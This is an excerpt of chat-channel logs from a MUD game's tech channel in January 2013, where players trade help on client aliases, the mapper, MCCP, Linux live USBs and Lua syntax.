T3/r7/2013-01-22.txt.gz:{chan ch=tech}Augen Tech: If my client is slowing down could it be because my log file is huge? and How does one create seperate logs, is there a way to do this automatically
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Augen Tech: In MUSH
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Santher Tech: get a SSD
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Tech: Santher grins evilly.
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Augen Tech: no clue what that is, I just wonder if it would lag the client
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Santher Tech: it always ran fine on my 2 ghz single core sempron...
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Augen Tech: I'm on a really really crappy laptop
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Santher Tech: steady lag or?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Santher Tech: alt+enter/logging for logging settings
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Santher Tech: i know the mapper automatically backs itself up too...
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Jedhi Tech: which version of lua does mush use_
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's*
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: mis
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Brutius Tech: please, i have a problem with MCCP. I use Zmud 5.5 and the menu choice is different from that of the Help. What to do?, thanks
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I still compile :P
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: mischan, getting an early start today :P
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What chipset you running?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger sighs.
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Tech: Faeseelie comforts Cheezburger.
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Vakieh Tech: Pringles. Chipset is definitely Pringles.
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: tt++ on linux is the more powerful granddaddy of cmud/zmud, robbo
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone a GPO guru? cause i am having the strangest problem with a GPO showing it is applied in modeling and results but not actually being applied. server08r2 
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: can i create shortcuts for spells, like a screen just for skills and spells?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Noodlez Tech: What you mean?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: like you have a screen for ur map and one for ur stats
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Michels Tech: a seperate window showing your spells?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: exactly but to be able to just click on a skill to enter it
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Michels Tech: ah, so more of a window with a shortcut with your spells?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: yup
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Trachx Tech: what for ?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Trachx Tech: I mean, for spellup purposes there are spellup plugins
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: so i dont have to type them repeatedly and to be able to use multiple spells in 1 battle
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Michels Tech: well I don't know how. I was just clearing your question for others. I think you must have a plugin for that. or you'll have to code one
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Jedhi Tech: for spellup you can just use spellup command
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chimeishio Tech: for combat spells I assume
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: yes
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Michels Tech: he wants a window displaying all his combat spells. so that he can click on it. and it will cast the spell
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Jedhi Tech: wouln't it be quicker to use reqular mush aliases?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Trachx Tech: still, you can just do: c nova monkey;c nova;c nova;c nova;c nova and simply copy-paste it
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: or press up arrow and hit enter
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chimeishio Tech: mouse driven combat might be nice for those with carpal tunnel
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Jedhi Tech: what tunnel?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Michels Tech: i think its hand related problems
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: i know but what if i want to cast eg. 5 different spells
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: like a debuff and a few different combat spells
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Michels Tech: cast spell 1; cast spell 2;cast spell 3 .etc
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Trachx Tech: you could map numpad for that spells / skills
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: can i use the trigger thing?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Trachx Tech: you mean rather alias
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: i think so
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Michels Tech: It will work. but not really be effective. aliases is your best option here. unless you can code your own plugin of course
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: if only i was a coder
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Michels Tech: can't fiendish code something like that?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: how can i use aliases?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Michels Tech: but alias is your best option. see help alias to find more details
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Chillin Tech: ok thank you
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Trachx Tech: better define one in mush, you have limited number of aliases mud-side
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Michels Tech: is anyone on this chan familiar with java script, and Unity3D?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Slipperdan Tech: how do i keep my last command on the input bar after each return?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Slipperdan Tech: running aardwolf mushclient
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Mokg Tech: input, commands, auto repeat last command
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Noodlez Tech: up will take you back to the last input you put in
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Noodlez Tech: or what he said
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Mokg Tech: hit alt enter to get to that window
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Slipperdan Tech: Thank you Mokg.
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Necsus Tech: is dreamweaver for web design worth it or is there a better or equally good free software for the PC?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Legendary Gruagach Tech: free? thats like 500 software..yah its worth it
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Legendary Gruagach Tech: maybe wordpress
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Necsus Tech: or maybe not equally as good but close enough
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Necsus Tech: i'll check out wordpress. ty
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Getsuko Tech: does mush not understand how to "enter" things?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Mendaloth Tech: Be more specific, what are you trying to do?  How?
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Getsuko Tech: I wanted to go to the inside of a log. When I go there manually I have to "enter log".  But when I do mapper goto ROOMID it says it cant find a path there
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Mendaloth Tech: You have to add it as a cexit.
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Mendaloth Tech: mapper help exits 
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: Is there a particular Linux distro that is 'better' from a Live CD vs. others? in terms of speed, windows compatibility, etc.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Llavara Tech: linux Mint seems to be fairly well stocked on live CD
T3/r7/2013-01-23.txt.gz:{chan ch=tech}GreenAcid Tech: It is even better when installed, the live CD is very well done.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: persistant USB!
T3/r7/2013-01-23.txt.gz:{chan ch=tech}GreenAcid Tech: Yea, linux mint is great for that
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Llavara Tech: heh.  I'm kinda in the same boat... been semi looking for a "live USB" that I can basically boot and run from and keep changes and ....
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Ranrr Tech: Run from an external USB HDD. Will be s bit slower, but will work fine.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Llavara Tech: 32 gig usb 3.0 thumb drive
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: you only need a 4gb flash drive really
T3/r7/2013-01-23.txt.gz:{chan ch=tech}GreenAcid Tech: Corsair survivor?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Ranrr Tech: To do a full install of e.g. ubuntu, you need a bit more.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: So since I still haven't fixed my XP problem on my PC, I could run a live cd/usb of Mint or install it completely on a new partition of my hd1?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Ranrr Tech: But hey, 15 years ago we ran linux from just a 1.4MB floppy....
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Ranrr Tech: Any of those would work.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Llavara Tech: using a patriot supersonic flash drive...      heh.  yeah, I remember the days of the SLS Linux
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Llavara Tech: if you have XP / potential HD and data issues, don't re-size and create partitions until you get the disk checked / fixed... you might lose data
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: fortunately, I knew enough to at least set up a second drive for almost all my personal files, worst case scenario is that I lose some saved game files on C: 
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: Hmmm...anyone have experience with Mint\Debian vs. Mint\Cinammon\ ?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}GreenAcid Tech: The linux mint debian version is debian with many more features, the ubuntu based version is better than ubuntu, never used cinnamon
T3/r7/2013-01-23.txt.gz:{chan ch=tech}GreenAcid Tech: ubuntu based version better than debian*
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Augen Tech: If I want to create an alias for mapper find and mapper goto, what do I need to send it to? Execute isn't working
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Redryn Tech: anyone know whether the audio chip in samsung galaxy s3 or lg nexus 4 is better?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: augen: define isn't working
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Augen Tech: Using the very first search criteria I stuck in there when I use it anytime after
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Augen Tech: using in alias mf *, then mapper find 1%, tried without the alias as well, sending to execute
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Augen Tech: er tried without the wildcard rather
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Noodlez Tech: if you're in mushclient, * picks up the wildcard, %1 places it back
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Noodlez Tech: not 1%
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Augen Tech: ah, maybe did it wrong lemme check, or could have just written it badlyhere
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Noodlez Tech: I've made many a trigger and alias on my old mud
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Noodlez Tech: Stuff that woulda got me nuked here.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Augen Tech: That was it, thanks, not very good at this sort of thing obviously
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Noodlez Tech: Nice, glad to help.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Augen Tech: and thanks for getting back to me Fiendish
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no problem
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Parmendies Tech: anyone knows why the small map window is missing on my mush client?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Ranrr Tech: Muds that allow what's considered botting here are dead or dying, for a reason.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Augen Tech: was just thinking that... you're here aren't you ;)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Noodlez Tech: Oh I caught plenty of flak for it.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jhav Tech: Try 'mapper show' Parmendies.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Noodlez Tech: Most of the reason I left, everyone shared the same leveling zone from 80-100 (100 was cap) and there were a total of 9 mobs there, with slow respawn.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jhav Tech: If the mud tells you that's not a command, you'll have to re-enable (or reinstall if it's missing entirely)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: he said "small map" not sure what that means
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Parmendies Tech: not getting any
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Parmendies: can you clarify "small map"?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: size is somewhat arbitrary with resiazable objects
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Parmendies Tech: i have the map with font symbols but not the one where I can click on the boxes that auto run for me
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: show me a screenshot please?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Parmendies Tech: how can i do that?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: which part?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Parmendies Tech: send the screenshot to u 
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: email
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: finger fiendish
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: or put it online somewhere and post the link here
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Parmendies Tech: ok read it online...its a map mini window...
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Parmendies Tech: maybe the new version doesnt have it
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes it does
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you press Shift+Ctrl+P do you see Aardwolf_GMCP_Mapper in the list?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Parmendies Tech: yes.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: then, again, please show me a screenshot
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Parmendies Tech: okie dokie..ill send it ya when i get back home
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: how long from now will that be?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: anyone using  gmcp group getting any lag? I have it not updating for up to 7 min at a time.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: i get the message "Could not load eqdb(aaa56faed92ffc6146964abc) because the file was not found" when i start mush ever since i enabled bast's combat tracker plugin, any idea how to make this go away ?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: Did you download the whole of Bast, or did you pick and choose?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: the whole package
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: anaristos: what size group?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: (but no, I never have group lag)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Zetkax Tech: how do i make mushclient execute "mapper goto 30790" from an alias?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mokg Tech: #alias {aliasname} {mapper goto 30790}
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Zetkax Tech: is that mushclient?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Zetkax Tech: it did not work
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mokg Tech: did you replace aliasname?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Zetkax Tech: yes
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mokg Tech: and you kept the {} there?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Zetkax Tech: yes
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: and you have the #alias alias ?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Zetkax Tech: what is the #alias ?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: do you know what an client alias is ?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Zetkax Tech: yes, but ive never seen aliases defined in mushclient with #alias
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Egrene Tech: edit your alias, -> select send to script/execute (instead of send to world)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Zetkax Tech: only with the gui or with the AddAlias LUA function
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: nah he's missing the #alias alias that comes with later verions of the aardwolf mushclient
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Zetkax Tech: thanks egrene
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Egrene Tech: pleasure
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: can i do in lua something like var1 = (var2 == var3) ? var4 : false
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Redryn Tech: what?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: Please don't use the ternary operator :-( It is never required, and almost always makes things more difficult to read and understand
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: the ? : syntax from C
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: is it possible or do i still have to use if and else?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Leinei Tech: not exactly sure what you're trying to do, but iirc, assignment doesn't return a value in lua
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: == isn't assignment
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: in C var1 would be boolean
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Leinei Tech: the first =
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: i know, in lua it is ~=
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: sorry
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: == works in lua
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: Yes, you can use the ternary operator if you want. But you never should.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: if (var2 == var3) then var1 = var4 else var1 = false
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: tech much more readable
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: no it is not
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: Aliens pats Jedhi on his head.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: my first line was underestandable as hell
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: Use multiple lines, and indentation. Or, jump into obfuscated code languages like Brainf*** instead.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: i am using multiple lines. just asking if it is possible to do it quicker and more readable :P
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: No coding shop I have ever worked with or seen code from allows the ternary operator, and for good reason - it is unneccessary, and makes code less understandable.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: It tends to find its way into a LOT of open source where the people are using it to be 'clever' instead of practical. Clever coding is dumb.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: so it is not possible in lua_
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: ?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: I just said it was.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: First result from googling 'lua ternary'...
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: thanx
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Brutius Tech: Please, i have a problem with MCCP, anyone can help me pleade?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Brutius Tech: Please, i have a problem with MCCP, anyone can help me please?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: you will never know unless you ask about your problem
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Ulrich Tech: anyone know how much data is used when playing on the mobile aard client?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: Will depend greatly on your verbosity/spam settings
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I haven't benchmarked it, but using it to for smoke breaks, and whatnot never comes up too much.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: But tiny, compared to web browing, images, videos, etc
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Trachx Tech: type mccp to see how many bytes was transferred
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I have a 2gb data limit, and I've never topped it. And I do lots of streaming (mostly over wifi) and mudding (mostly data).
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: If you find yourself going to much over, i'd make an alias to turn down spam settings (help spamreduce)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Never hit my limit. Used to have unlimited, got dropped to a 2GB limit and never even come close.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: lol, with 2GB you can play forever. 
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Around wifi too much, I suppose.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Then turn them back to the preferred settings on the client.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: in 3 hours i've had 400kB sent to me
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Ulrich Tech: ok beautiful thanks guys 
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Brutius Tech: ah Trachx your answer is for me?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Brutius Tech: for MCCP
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Brutius Tech: please i lose 2 QP every quest.. for MCCP
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Brutius: Your only option is to get a client with mccp or a proxy that enables it. Period.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Otherwise pay the toll for using extra mud resources.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Brutius Tech: i have zmud 5.5
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: have you tried aardwolf mushclient?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Brutius Tech: no.. is better als zmud
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: it is written for aardwolf. comes with predefined mapper and other goodies
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: If you really want to stick with ZMud 5.5, you can use Duckbat's Proxymud.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: But not sure why you wouldn't at least upgrade to a newer version of ZMud.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: which is bad idea (sticking with zmud)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Brutius Tech: I use zMUD... at least 20 years
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I finally switched to CMUD.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: maybe he's got a crack for v5.5   ;-)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: just give it a try Brutius. 
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I personally really dislike MUSHclient, but it's a feel thing for me.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: But it's very popular for most folks.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: it is because it has mapper
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I have a mapper provided by ProxyMUD
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Brutius Tech: tnx to all
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: Robbo, have you red what aardwolfs mushclient mapper can do?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: Protogynus Robbo nods.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Trust me, I've got all that.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: custom exits, search and all other stuff?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: Protogynus Robbo nods.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Plus the proxy provides a mobdb to store mob details.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: (locations, level, keywords, etc)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Wrote my own SnD equivalent to tie into it with very minimal effort.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: And since the proxy is not client dependent, I can in theory use the mapper/mobdb with my tablet/phone/etc. (not that I care to do that)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: DuckBat did good work on it, just wish he was maintaining it.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: It's written in C#, which I don't work so well in.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: i've been digging into lua couple of last days. it seems very easy (ofcause can't be compared to C at any level)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: yes it can
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: they are both algol descendants
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: Aliens smirks.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: lol, from wiki: ALGOL 68  revised 1973
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: do you no when C was invented ?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Trachx Tech: after B probably
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: well C was not revised last time in 73
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: doesnt change that C is based on algol
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: it's like comparing humans to apes
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: i hear human and chimp DNA is like 99% similar
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Flak Tech: i heard the washington monument looks like a weiner but it doesnt mean its the same thing
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: i heard cars, money, and guns are also phallic but also are not weiners
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: lol Flak, and we are very close to pigs as well, 98%
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Flak Tech: arent pigs the only other animal that sweats?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Flak Tech: i think they get sunburn too
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: horses sweat
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Flak Tech: oh wow cool
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: and scientist just discovered that rats smile
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Anyone know how to start a program in the first pane of tmux in a script?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: -x isn't it?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Not on my linux box to check atm, but iirc -x will send the following arguments to the executing program
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Hmm. Let me try again :)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Well, that didn't work.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Of course not.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Indeed.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Santher Tech: seems microsoft fixed there wireless mouse wheel issue yesterday... updated my driver (automatically) and now it's like the wheel has been doing speed, works almost too fast even when i set it to one line at a time, lol but it works awesome in mush now... :P
T3/r7/2013-01-23.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lol 'microsoft fixed'
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Santher Tech: lol
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Santher Tech: if only there was another company that made keyboards/mice/controllers like MS does... but i guess it helps when you have military funding to back you up...
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Trachx Tech: keyboards? one of the best keyboards I ever used was chicony
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Santher Tech: heh i'm still using an old compaq keyboard... almost as good as the old ibm ones...
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Dat Eutychus Tech: I have an oldschool Lexmark mechanical, works great.
